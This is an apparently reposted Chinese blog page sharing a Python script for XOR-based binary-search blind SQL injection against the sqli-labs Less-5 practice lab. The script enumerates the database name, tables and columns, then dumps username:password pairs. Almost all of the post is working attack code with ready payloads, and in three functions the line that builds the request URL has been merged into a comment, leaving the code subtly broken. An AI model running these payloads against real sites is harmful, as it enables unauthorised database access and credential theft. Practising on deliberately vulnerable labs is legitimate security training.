首页 > 其他分享 >异或二分法盲注脚本分享

异或二分法盲注脚本分享

时间:2024-07-12 14:43:38浏览次数:10  
标签:二分 127 mid 法盲 high 异或 low ans table

异或二分法盲注脚本

# -*-coding:utf-8-*-  
  
import requests  
import time  
  
# 目标url  
host = "http://localhost/sqli-labs-master/Less-5/?id="  
  
  
# 获取数据库名  
def get_database():  
    global host  
    ans = ''  
   
    for i in range(1, 1000):  
        low = 32  
        high = 127  
        mid = (low+high)//2  
        while low < high:  
            payload = "1'^(ascii(substr((select(database())),%d,1))<%d)^1--+" % (i, mid)  
            url = host + payload  
            # print(url)  
            # param = {"username": payload, "password": "admin"}            
            # res = requests.post(host, data=param)  
            res = requests.get(url)  
            if "You are in" in res.text:  
                high = mid  
            else:  
                low = mid+1  
            mid = (low+high)//2  
        if mid <= 32 or mid >= 127:  
            break  
        ans += chr(mid-1)  
        print("database is -> "+ans)  
  
  
# 获取表名  
def get_table():  
    global host  
    ans = ''  
    for i in range(1, 1000):  
        low = 32  
        high = 127  
        mid = (low+high)//2  
        while low < high:  
            payload = "1'^(ascii(substr((select(group_concat(table_name))from(information_schema.tables)where(table_schema=database())),%d,1))<%d)^1--+" % (i, mid)  
            # param = {"username": payload, "password": "admin"}  
            # res = requests.post(host, data=param)            url = host + payload  
            res = requests.get(url)  
            if "You are in" in res.text:  
                high = mid  
            else:  
                low = mid+1  
            mid = (low+high)//2  
        if mid <= 32 or mid >= 127:  
            break  
        ans += chr(mid-1)  
        print("table is -> "+ans)  
  
  
# 获取列名  
def get_column():  
    global host  
    ans = ''  
    for i in range(1, 1000):  
        low = 32  
        high = 127  
        mid = (low+high)//2  
        while low < high:  
  
            # 表名要自己修改  
            payload = "1'^(ascii(substr((select(group_concat(column_name))from(information_schema.columns)where(table_name='users')),%d,1))<%d)^1--+" % (i, mid)  
            # param = {"username": payload, "password": "admin"}  
            # res = requests.post(host, data=param)            url = host + payload  
            res = requests.get(url)  
            if "You are in" in res.text:  
                high = mid  
            else:  
                low = mid+1  
            mid = (low+high)//2  
        if mid <= 32 or mid >= 127:  
            break  
        ans += chr(mid-1)  
        print("column is -> "+ans)  
  
  
# 脱裤  
def get_data():  
    global host  
    ans = ''  
    for i in range(1, 100000):  
        low = 32  
        high = 127  
        mid = (low+high)//2  
        while low < high:  
            # 修改表名和字段  
            payload = "1'^(ascii(substr((select(group_concat(username,0x3a,password))from(users)),%d,1))<%d)^1--+" % (i, mid)  
            # param = {"username": payload, "password": "admin"}  
            # res = requests.post(host, data=param)            url = host + payload  
            res = requests.get(url)  
            if "You are in" in res.text:  
                high = mid  
            else:  
                low = mid+1  
            mid = (low+high)//2  
        if mid <= 32 or mid >= 127:  
            break  
        ans += chr(mid-1)  
        print("dumpTable is -> "+ans)  

get_data()

标签:二分,127,mid,法盲,high,异或,low,ans,table
From: https://www.cnblogs.com/ylist/p/18298317

相关文章

  • leetcode 704.二分查找
    重点区分:while(left<right) 和 while(left<=right)right=middle和right=middle-1当处于左闭右闭区间内时,while(left<=right)当处于左闭右开区间时,while(left<right)right=middle和right=middle-1,以此类推1.原理(来源代码随想录)(1)第一种情况(2)第二......
  • 二分查找的循环条件及指针终止位置问题
    二分查找的循环条件及指针终止位置问题常见的二分搜索法的循环迭代方法分为:左闭右开和左闭右闭两种方式左闭右开:由于右边界开放,例如[1,1)是矛盾的,因此循环条件为while(l<r)。闭合指后续迭代仍需要进行对其元素进行比较。因此每次迭代结束,左指针l移动到中点的下一位l=mi......
  • G64【模板】线性基 贪心法 P3812 最大异或和
    视频链接:G64【模板】线性基贪心法P3812最大异或和_哔哩哔哩_bilibili   P3812【模板】线性基-洛谷|计算机科学教育新生态(luogu.com.cn)//线性基O(63*n)#include<iostream>#include<cstring>#include<algorithm>usingnamespacestd;typedeflong......
  • 代码随想录(day1)二分法
    if语句的基本语法if要判断的条件:条件成立的时候,要做的事举例:ifnums[middle]<target:left=middle+1while语句的基本语法:while判断条件(condition):'''执行语句(statements)'''举例:whileleft<=right:middle=left+(right-left)//2题目:代码:class......
  • 大厂面试高频题——二分查找
    35.搜索插入位置给定一个排序数组和一个目标值,在数组中找到目标值,并返回其索引。如果目标值不存在于数组中,返回它将会被按顺序插入的位置。请必须使用时间复杂度为O(logn)的算法。思考二分模板题classSolution:defsearchInsert(self,nums:List[int],target:in......
  • 二分
    二分\(\sf\small\color{gray}Binary\)思想要想区分不同,又想种类最少,“二”这个数值可谓是不二人选。原因很简单。因为1+1=2。那你是不是就可以取一个中间值,把一串数据分成两部分,然后依据这个中间值判断目标值是在左边还是右边?二分查找就出来了。二分查找就是在一个\(\s......
  • 【寻迹】二分与三分
    二分与三分二分是一种常用且非常精妙的算法。(英才计划甚至还水了一篇文章)三分法则可以用来解决单峰函数的极值以及相关问题一、二分二分法,在一个单调有序的集合或函数中查找一个解,每次均分为左右两部分,判断解在哪一个部分后调整上下界。每次二分都会舍弃一半区间,因此效率比较高......
  • DAY 1: C语言异或(^)以及按位与(&)的用法
    1.异或(^)的定义        在C语言中,异或操作符是^。异或操作符用于对两个操作数执行按位异或运算,即只有在两个操作数对应位不同时,结果为1。即相同为0不同为1。2.重要结论    1.任何一个数,假定为a,0^a等于a(不进位计算求和),a^a等于0。        2.异或运......
  • 二分模板及其原理
    直接上代码#include<bits/stdc++.h>usingnamespacestd;//#defineintlonglong//防止越界//#defintdoublelongdouble//防止越界constintL=0,R=1e9+1;//整数二分边界//constdoubleL=0,R=1e9+1;//实数二分边界constdoubleEPS=1;......
  • 二分图匹配
    是么时二分图这个图的节点可以被分为两个集合,使得同一集合内没有连边。匈牙利算法例题IOI有$m$道题,HPY会$n$个算法,一共有$k$个算法可以解决IOI题。HPY会的算法太多了,所有这次IOI用了这个算法,等到下一次IOI时才会记其这个算法。<h1id="constraint......